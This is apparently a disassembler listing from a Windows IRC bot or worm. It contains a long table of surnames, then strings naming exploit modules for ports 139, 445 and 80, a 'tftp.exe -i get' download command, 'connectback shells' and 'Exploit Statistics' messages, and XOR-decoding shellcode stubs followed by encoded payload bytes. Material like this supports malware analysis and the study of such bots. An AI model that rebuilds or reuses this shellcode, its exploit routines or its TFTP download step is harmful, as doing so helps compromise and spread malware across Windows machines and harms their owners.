aCroxen		db 'Croxen',0           ; DATA XREF: ___:004332DCo
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:004332D8o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:004332D4o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:004332D0o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:004332CCo
aCounter	db 'Counter',0          ; DATA XREF: ___:004332C8o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:004332C4o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: ___:004332C0o
aCorey		db 'Corey',0            ; DATA XREF: ___:004332BCo
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: ___:004332B8o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:004332B4o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:004332B0o
aComstock	db 'Comstock',0         ; DATA XREF: ___:004332ACo
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:004332A4o
					; ___:004332A8o
aCollis		db 'Collis',0           ; DATA XREF: ___:004332A0o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0043329Co
aColella	db 'Colella',0          ; DATA XREF: ___:00433298o
aColdren	db 'Coldren',0          ; DATA XREF: ___:00433294o
aCoito		db 'Coito',0            ; DATA XREF: ___:00433290o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0043328Co
aClow		db 'Clow',0             ; DATA XREF: ___:00433288o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:00433284o
aClement	db 'Clement',0          ; DATA XREF: ___:00433280o
aClark		db 'Clark',0            ; DATA XREF: ___:0043327Co
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: ___:00433278o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:00433274o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:00433270o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0043326Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:00433268o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: ___:00433264o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:00433260o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0043325Co
aChristopher	db 'Christopher',0      ; DATA XREF: ___:00433258o
aChristie	db 'Christie',0         ; DATA XREF: ___:00433254o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: ___:00433250o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0043324Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:00433248o
aChinman	db 'Chinman',0          ; DATA XREF: ___:00433244o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:00433240o
aChilds		db 'Childs',0           ; DATA XREF: ___:0043323Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: ___:00433238o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:00433234o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:00433230o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0043322Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:00433228o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:00433224o
		align 4
aCharles_0	db 'Charles',0          ; DATA XREF: ___:00433220o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0043321Co
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:00433218o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:00433214o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: ___:00433210o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0043320Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:00433208o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: ___:00433204o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:00433200o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: ___:004331FCo
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:004331F8o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:004331F4o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:004331F0o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:004331ECo
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:004331E8o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:004331E4o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: ___:004331E0o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:004331DCo
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:004331D8o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:004331D4o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:004331D0o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:004331CCo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:004331C8o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: ___:004331C4o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:004331C0o
aCanley		db 'Canley',0           ; DATA XREF: ___:004331BCo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:004331B8o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:004331B4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:004331B0o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:004331ACo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:004331A8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:004331A4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:004331A0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0043319Co
aBurridge	db 'Burridge',0         ; DATA XREF: ___:00433198o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: ___:00433194o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:00433190o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: ___:0043318Co
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:00433188o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: ___:00433184o
aBudding	db 'Budding',0          ; DATA XREF: ___:00433180o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0043317Co
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:00433178o
aBrook		db 'Brook',0            ; DATA XREF: ___:00433174o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:00433170o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: ___:0043316Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:00433168o
aBridges	db 'Bridges',0          ; DATA XREF: ___:00433164o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:00433160o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:00433158o
					; ___:0043315Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:00433154o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:00433150o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0043314Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:00433148o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:00433144o
aBradac		db 'Bradac',0           ; DATA XREF: ___:00433140o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0043313Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:00433138o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: ___:00433134o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:00433130o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0043312Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:00433128o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:00433124o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:00433120o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0043311Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:00433118o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:00433114o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: ___:00433110o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0043310Co
aBossi		db 'Bossi',0            ; DATA XREF: ___:00433108o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:00433104o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: ___:00433100o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:004330FCo
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:004330F8o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:004330F4o
		align 4
aBook_0		db 'Book',0             ; DATA XREF: ___:004330F0o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:004330ECo
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:004330E8o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:004330E4o
		align 10h
aBoner_0	db 'Boner',0            ; DATA XREF: ___:004330E0o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:004330DCo
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:004330D8o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:004330D4o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:004330D0o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:004330CCo
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:004330C8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:004330C4o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:004330C0o
aBloch		db 'Bloch',0            ; DATA XREF: ___:004330BCo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:004330B8o
aBliss		db 'Bliss',0            ; DATA XREF: ___:004330B4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:004330B0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:004330ACo
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: ___:004330A8o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:004330A4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:004330A0o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: ___:0043309Co
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:00433098o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: ___:00433094o
aBinion		db 'Binion',0           ; DATA XREF: ___:00433090o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0043308Co
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:00433088o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: ___:00433084o
aBetti		db 'Betti',0            ; DATA XREF: ___:00433080o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0043307Co
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: ___:00433078o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:00433074o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:00433070o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0043306Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:00433068o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:00433064o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:00433060o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0043305Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:00433058o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:00433054o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:00433050o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0043304Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:00433048o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:00433044o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:00433040o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0043303Co
aBeder		db 'Beder',0            ; DATA XREF: ___:00433038o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:00433034o
aBean		db 'Bean',0             ; DATA XREF: ___:00433030o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0043302Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:00433028o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:00433024o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:00433020o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0043301Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:00433018o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:00433014o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:00433010o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0043300Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:00433008o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:00433004o
aBarry		db 'Barry',0            ; DATA XREF: ___:00433000o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:00432FFCo
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: ___:00432FF8o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:00432FF4o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:00432FF0o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: ___:00432FECo
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:00432FE8o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:00432FE4o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: ___:00432FE0o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:00432FDCo
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:00432FD8o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:00432FD4o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:00432FD0o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:00432FCCo
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:00432FC8o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:00432FC4o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:00432FC0o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:00432FBCo
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:00432FB8o
aBady		db 'Bady',0             ; DATA XREF: ___:00432FB4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:00432FB0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:00432FACo
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: ___:00432FA8o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:00432FA4o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:00432FA0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:00432F9Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:00432F98o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:00432F94o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:00432F90o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:00432F8Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:00432F88o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:00432F84o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:00432F80o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:00432F7Co
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: ___:00432F78o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:00432F74o
aArbia		db 'Arbia',0            ; DATA XREF: ___:00432F70o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:00432F6Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:00432F68o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:00432F64o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:00432F60o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: ___:00432F5Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:00432F58o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:00432F54o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:00432F50o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:00432F4Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:00432F48o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:00432F44o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:00432F40o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:00432F3Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:00432F38o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:00432F34o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:00432F30o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:00432F2Co
		align 4
aAllison_0	db 'Allison',0          ; DATA XREF: ___:00432F28o
aAleks		db 'Aleks',0            ; DATA XREF: ___:00432F24o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:00432F20o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:00432F1Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:00432F18o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:00432F14o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:00432F10o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:00432F0Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:00432F08o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_432F04o
aAdams		db 'Adams',0            ; DATA XREF: ___:00432F00o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:00432EFCo
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_432EF8o
		align 10h
byte_436B50	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_436B54	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_436B58	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_436B60	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_436B64	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_436B68	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_436B6C	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_436B70	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_436B74	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_436B78	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_436B7C	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_436B80	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_436B88	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_436B98
; ---------------------------------------------------------------------------

loc_436B96:				; CODE XREF: ___:loc_436B98p
		jmp	short loc_436B9D
; ---------------------------------------------------------------------------

loc_436B98:				; CODE XREF: ___:00436B94j
		call	loc_436B96

loc_436B9D:				; CODE XREF: ___:loc_436B96j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh

loc_436BA4:				; CODE XREF: ___:00436BA9j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_436BA4
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh

loc_436BBA:				; CODE XREF: ___:00436BBFj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_436BBA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_436C5C
		jnz	short loc_436C48
		retn
; ---------------------------------------------------------------------------

loc_436C48:				; CODE XREF: ___:00436C45j
					; ___:00436C55j
		call	near ptr loc_436C4D+1

loc_436C4D:				; CODE XREF: ___:loc_436C48p
		add	[edx+0], ch
		call	sub_436C5C
		jz	loc_436C48
		retn

; =============== S U B	R O U T	I N E =======================================



sub_436C5C	proc near		; CODE XREF: ___:00436C40p
					; ___:00436C50p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_436C5C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_436D08	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_436D0C	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_436D10	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_436D14	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_436D18	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_436D1C	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
		dd 6D7973h, 0
		db 2 dup(0)
byte_436EEA	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
aAsn139_0	db 'asn139',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_436F16

; =============== S U B	R O U T	I N E =======================================



sub_436F06	proc near		; CODE XREF: sub_436F06:loc_436F16p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_436F0E:				; CODE XREF: sub_436F06+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_436F0E
		jmp	short loc_436F1B
; ---------------------------------------------------------------------------

loc_436F16:				; CODE XREF: ___:00436F04j
		call	sub_436F06

loc_436F1B:				; CODE XREF: sub_436F06+Ej
		jo	short near ptr dword_436EA4+12h
		cwde
		cdq
		cdq
		retn
sub_436F06	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 4
dword_437098	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4370A4	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4370C4	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_43710C	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_437148	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_437158	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_437174	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4371A8	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_4371D8	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
